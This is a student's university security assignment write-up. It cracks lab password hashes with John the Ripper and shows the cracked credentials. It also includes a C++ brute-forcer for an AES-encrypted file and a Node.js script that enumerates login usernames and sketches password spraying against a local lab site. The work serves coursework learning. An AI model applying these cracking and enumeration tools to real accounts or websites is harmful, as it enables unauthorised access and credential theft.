Assignment 1

COMP4108, Winter 2019
David Jatczak, Student ID: 100879164
Github Repo: `https://github.com/Davidj361/4108ass1`

January 25, 2019

Part A

easy_dump

The easy_dump shows 1 at the start which means that the passwords are in MD5 (`https://www.cyberciti.biz/faq/understanding-etcshadow-file/`) idsalt$hashed is the format for the password field. The salt is used to help make the hash of the password different and protect the password against dictionary attacks.

easy_dump was easily cracked by running john with the given password.list:

```
/A1/easy_dump ./john --wordlist=password.lst /A1/easy_dump
```

And here are the results:

```
files/JohnTheRipper-unstable-jumbo/run/john --show files/easy_dump
johncena:password:1002:1002::/home/johncena:/bin/sh
therock:123456:1003:1003::/home/therock:/bin/sh
undertaker:12345:1004:1004::/home/undertaker:/bin/sh
ricflair:iloveyou:1005:1005::/home/ricflair:/bin/sh
steveaustin:123456789:1006:1006::/home/steveaustin:/bin/sh
hogan:princess:1007:1007::/home/hogan:/bin/sh
randyorton:1234567:1008:1008::/home/randyorton:/bin/sh
```

```
goldberg:letmein:1009:1009::/home/goldberg:/bin/sh
tripleh:12345678:1010:1010::/home/tripleh:/bin/sh
reymysterio:abc123:1011:1011::/home/reymysterio:/bin/sh

10 password hashes cracked, 0 left
```

medium_dump

Using:

```
~./john --wordlist=password.lst /A1/medium_dump
```

only cracked 1 password, I needed to specify rules to crack the rest of the passwords. Using:

```
 ./john --wordlist=/usr/share/dict/words --rules:Jumbo /A1/medium_dump
```

ended with only 9/10 of the passwords cracked in total.

```
files/JohnTheRipper-unstable-jumbo/run/john --show files/medium_dump
johncena:senators:1002:1002::/home/johncena:/bin/sh
therock:differential:1003:1003::/home/therock:/bin/sh
undertaker:passw0rd:1004:1004::/home/undertaker:/bin/sh
ricflair:salamander?:1005:1005::/home/ricflair:/bin/sh
steveaustin:Minnesota:1006:1006::/home/steveaustin:/bin/sh
hogan:chamber:1007:1007::/home/hogan:/bin/sh
randyorton:num3ral:1008:1008::/home/randyorton:/bin/sh
goldberg:Rosalind:1009:1009::/home/goldberg:/bin/sh
tripleh:soccer9:1010:1010::/home/tripleh:/bin/sh

9 password hashes cracked, 1 left
```

hard_dump

Using:

```
./john --wordlist=/usr/share/dict/words --rules:Jumbo /A1/hard_dump
```

only cracked 2 of the passwords:

```
minnesota.       (reymysterio)
minnesot         (ricflair)
```

Even when it ran for 2 days.

Only one password was cracked using incremental mode when ran for 4 days:

```
./john --incremental=All --max-length=8 --session=hard3 ../../hard_dump
```

Total passwords cracked:

```
files/JohnTheRipper-unstable-jumbo/run/john --show files/hard_dump
therock:mosie1:1003:1003::/home/therock:/bin/sh
ricflair:minnesot:1005:1005::/home/ricflair:/bin/sh
reymysterio:minnesota.:1011:1011::/home/reymysterio:/bin/sh

3 password hashes cracked, 7 left
```

Part B

(https://github.com/Davidj361/4108ass1/blob/master/part2.cc)
C++ program:

```
// C++ stuff
#include <iostream>
#include <fstream>
#include <string>
#include <sstream>
#include <algorithm>
// C stuff
#include <fcntl.h>
#include <libgen.h>
#include <signal.h> // For making breakpoints for
   debugging
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
```

```
#include <sys/types.h>
#include <sys/wait.h>

#define DIRECTORY "/tmp/"

bool isFileExist(const char* path) {
  std::ifstream infile(path);
  return infile.good();
}

int decrypt(std::string inFile, std::string
   decryptedFile, std::string hash) {
  int ret;
  pid_t pid = fork();
  if (pid < 0) {
    std::cout << "fork broke in decrypt function" << std
       ::endl;
    exit(1);
  } else if (pid == 0) { // child
    char* args[] = {
      (char*) "openssl",
      (char*) "aes256",
      (char*) "-base64",
      (char*) "-md",
      (char*) "md5",
      (char*) "-d",
      (char*) "-in",
      (char*) inFile.c_str(),
      (char*) "-out",
      (char*) decryptedFile.c_str(),
      (char*) "-k",
      (char*) hash.c_str(),
      NULL
    };
    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);
    execvp(args[0], args);
  } else {
    waitpid(pid, &ret, 0);
```

```
  }
  return ret;
}

bool isDecrypted(std::string file) {
  std::string cmd = "file " + file;
  FILE* fFile = popen(cmd.c_str(), "r");
  bool ret = false;
  if (fFile == NULL) {
    std::cout << "fFile is a null pointer" << std::endl;
    exit(1);
  }
  char* buf = 0;
  size_t bufSize;
  while ( getline(&buf, &bufSize, fFile) != -1) {
    std::string output = buf;
    if (output.find("UTF-8") != std::string::npos)
      ret = true;
  }
  if (buf != NULL) {
    free(buf);
    buf = NULL;
  }
  pclose(fFile);
  return ret;
}

// 1st argument is the program name
// 2nd argument is the file to crack
// 3rd argument is the john executable
// 4th argument is the wordlist to crack with
int main(int argc, char *argv[]) {
  if (argc < 4) {
    std::cout << "arguments: (inputfile) (john) (
       wordlist)" << std::endl;
    return -1;
  }
  std::string inFile = argv[1];
  std::string john = argv[2];
  std::string wordlist = argv[3];
```

```
std::string inFileBase = basename((char*)inFile.c_str
   ());
std::string decryptedFile = DIRECTORY + inFileBase +
   ".decrypted";
std::string passFile = DIRECTORY + inFileBase + ".hash
   ";
std::string plainPassFile = DIRECTORY + inFileBase +
   ".pass";
std::string checkPass = DIRECTORY + inFileBase + ".
   check";
std::string pass;
char* buf = 0;
size_t bufSize;
char* passbuf = 0;
size_t passbufSize;
bool found = false;
int ret = 0;
int childfd[2];
pipe(childfd);

std::string johnCMD = john + " --wordlist=" + wordlist
    + " --rules=single --stdout";
// std::string johnCMD = john + " --wordlist=" +
   wordlist + " --stdout";

// Was going to synchronize input with the parent and
   the child john the ripper
// But I believe the command finishes instantly and it
    is not easy
// to synchronize the parent and child for each
   exhaustive word search
// since the child instantly finishes executing and
   goes out of sync with the parent anyways
pid_t pid = fork();
if (pid < 0) {
  std::cout << "fork broke in decrypt function" << std
     ::endl;
  exit(1);
} else if (pid == 0) { // child
  std::string wordlistArg = "--wordlist=" + wordlist;
```

```
  char* args[] = {
    (char*) john.c_str(),
    (char*) wordlistArg.c_str(),
    (char*) "--rules=single",
    (char*) "--stdout",
    NULL
  };
  dup2(childfd[1], STDOUT_FILENO);
  // NEED TO CLOSE PIPES OR ELSE IT HANGS
  close(childfd[0]);
  close(childfd[1]);
  execvp(args[0], args);
  perror("bad exec");
  exit(1);
} else {
  // NEED TO CLOSE PIPES OR ELSE IT HANGS
  close(childfd[1]);
  // char buf2[1024];
  // size_t buf2Size = 1024;
  // size_t n;
  // while ( n = read(childfd[0], &buf2, buf2Size), n
     > 0) { // alternative reading
  FILE* test = fdopen(childfd[0], "r");
  while ( getline(&passbuf, &passbufSize, test) != -1)
      {
    pass = passbuf;
    if (passbuf != NULL) {
      free(passbuf);
      passbuf = NULL;
    }

    pass.erase(std::remove(pass.begin(), pass.end(),
       '\n'), pass.end());
    std::ofstream tmp;
    tmp.open(plainPassFile.c_str(), std::ofstream::out
       );
    tmp << pass;
    tmp.close();
    std::string md5CMD = "cat " + plainPassFile + " |
       md5sum > " + passFile;
```

```
  FILE* fMd5 = popen(md5CMD.c_str(), "r");
  if (fMd5 == NULL) {
    std::cout << "fMd5 is a null pointer" << std::
       endl;
    exit(1);
  }
  if(pclose(fMd5) != 0) {
    std::cout << "MD5 exited poorly. cmd str is: "
       << md5CMD << std::endl;
  }

  FILE* fPassFile = fopen(passFile.c_str(), "r");
  if (getdelim(&buf, &bufSize, ' ', fPassFile) ==
     -1) {
    std::cout << "bad fPassFile read" << std::endl;
    exit(1);
  }
  std::string hash = buf;
  if (buf != NULL) {
    free(buf);
    buf = NULL;
  }
  hash.erase(std::remove(hash.begin(), hash.end(),
     '\n'), hash.end());
  hash.erase(std::remove(hash.begin(), hash.end(), '
      '), hash.end());
  fclose(fPassFile);

  int status = decrypt(inFile, decryptedFile, hash);
  if (status != 0)
    continue;
  if (isDecrypted(decryptedFile)) {
    found = true;
    break;
  }
}
close(childfd[0]);

if (found) {
```

```
      std::cout << "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
         << std::endl;
      std::cout << "Decrypted and found the password: "
         << pass << std::endl;
      std::cout << "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
         << std::endl;
      ret = 0;
    } else {
      std::cout << "!!!!!!!!!!!!!!!!!!!!!!!!!!" << std::
         endl;
      std::cout << "Couldn't find the password" << std::
         endl;
      std::cout << "!!!!!!!!!!!!!!!!!!!!!!!!!!" << std::
         endl;
      ret = 1;
    }
    return ret;
  }
}
```

How it works:

To execute:

```
g++ part2.cc
./a.out files/secret_file.aes256.txt files/JohnTheRipper
   -unstable-jumbo/run/john /usr/share/dict/cracklib-
   small
```

OR

```
./a.out (file to crack) (john the ripper executable) (word list)
```

Utilizing C Posix functions, commands are able to be ran via popen or execvp (part of the exec family). execvp requires forking as it changes the program to be that of the command while popen does it automatically. However popen only lets you one of the streams, i.e. read or write, upon creation and usage. With forking and execvp you can access both the streams and even pipe it, which I have done. Also by disabling the output of the process for printing to the terminal, it should remove some overhead and make the program run

faster.

John the ripper should execute fully and more quickly with the –stdout option where it has already piped everything to the main program where the main program reads the output line by line and tries decrypting with the given exhaustive search.

The given output is then given through the md5sum command since that gives the hash of the password which is needed to decrypt the secret file.

Unfortunately I was not able to crack the secret txt file even after running everything for two days with the given command:

```
./a.out files/secret_file.aes256.txt files/JohnTheRipper
   -unstable-jumbo/run/john /usr/share/dict/cracklib-
   small
```

Where it uses the cracklib-small dictionary with the rules "Single".

If I was lucky with john the ripper actually finding the right password, I would say the reason why I was able to decrypt the file is because MD5 is a very simple hashing function that doesn't take long to execute so it has the same affect as manually brute forcing with plain passwords.

Part C

`https://github.com/Davidj361/4108ass1/blob/master/part3/memorycrash.js`
Node.js program:

```
// Includes
const Promise = require("bluebird");
const bhttp = require("bhttp");
const tough = require("tough-cookie");
const cheerio = require('cheerio');
const taskQueue = require("promise-task-queue");
const fs = require("fs");
const readline = require("readline");
```

```
const stream = require("stream");

const argv = process.argv;
if (argv.length < 3) {
  console.log("Need additional arguments");
  process.exit(1);
}
const facebookFile = argv[2];
var facebookStream = fs.createReadStream(facebookFile);
var outstream = new stream;
const validUsersFile = "/tmp/part2.validUsernames.txt";

// Setup a session for storing cookies
var cookieJar = new tough.CookieJar();
var agentOptions = {
  maxCachedSessions: 10
}
var options = {
  headers: {"user-agent": "Mozilla/5.0 (X11; Linux
     x86_64; rv:64.0) Gecko/20100101 Firefox/64.0"},
  cookieJar: cookieJar,
  rejectUnauthorized: false,
}
var httpSession = bhttp.session(options);
var queue = taskQueue();
var failedRequests = 0;

queue.on("failed:apiRequest", function(task) {
  failedRequests += 1;
});

queue.define("checkUsername", function(task) {
  return Promise.try(function() {
    var payload = {
      username: task.user,
      password: "root"
    }
    return httpSession.post("http://localhost:5000/login
       ", payload);
  }).then(function(response) {
```

```
    var bodyStr = response.body.toString();
    $ = cheerio.load(bodyStr);
    var ret = "No match found";
    var select = $(".alert");
    if (select !== undefined) {
      var str = select.text().trim();
      if (str !== undefined && str.length != 0 && str.
         includes("Username does not exist") ) {
        console.log("FOUND A USERNAME: " + task.user);
        var line = task.user + '\n';
        fs.appendFileSync(validUsersFile, line);
      }
    }
  });
}, {
  concurrency: 2
});

var r1 = readline.createInterface({
  input: facebookStream,
  terminal: false
});
r1.on("line", function(line) {
  console.log("Trying username: " + line);
  var user = line.trim();
  Promise.try(function() {
    return queue.push("checkUsername", {user: user});
  }).then(function(jsonResponse) {
  })
});
```

The above program obtained me a partial list of usernames of the website. Unfortunately it crashes because it tries to add 4 million facebook usernames to the taskQueue. Without taskQueue, there's too many post requests and once and overloads the SSH tunnel and the web server.

Afterward I would use the same method from the C++ program of having john the ripper send its output to stdout via the –stdout option. Then iterate the list of a valid usernames that was made from "/tmp/part2.validUsernames.txt" and test them against the password suggested by john the ripper.

Unfortunately I couldn't finish as I got stuck on dealing with memory crashes or overloading the webserver/ssh-tunnel. A possible solution was to link the promises made for each POST request but I was unable to figure out how to properly iterate through a 4.1 million line long text file manually instead of relying on mapping a function for each element. And taskQueue only handles with throttling how many requests are handled at once, not how many should get added.

If I had bypassed these issues, I would've been able do something like 100 POST requests asychonously processed at once where I could test for valid usernames and passwords very quickly.

And for testing against the passwords, I would test the same password against a set of 40, assuming that I had 1000 valid usernames in a textfile, and I would be using a common passwords wordlist.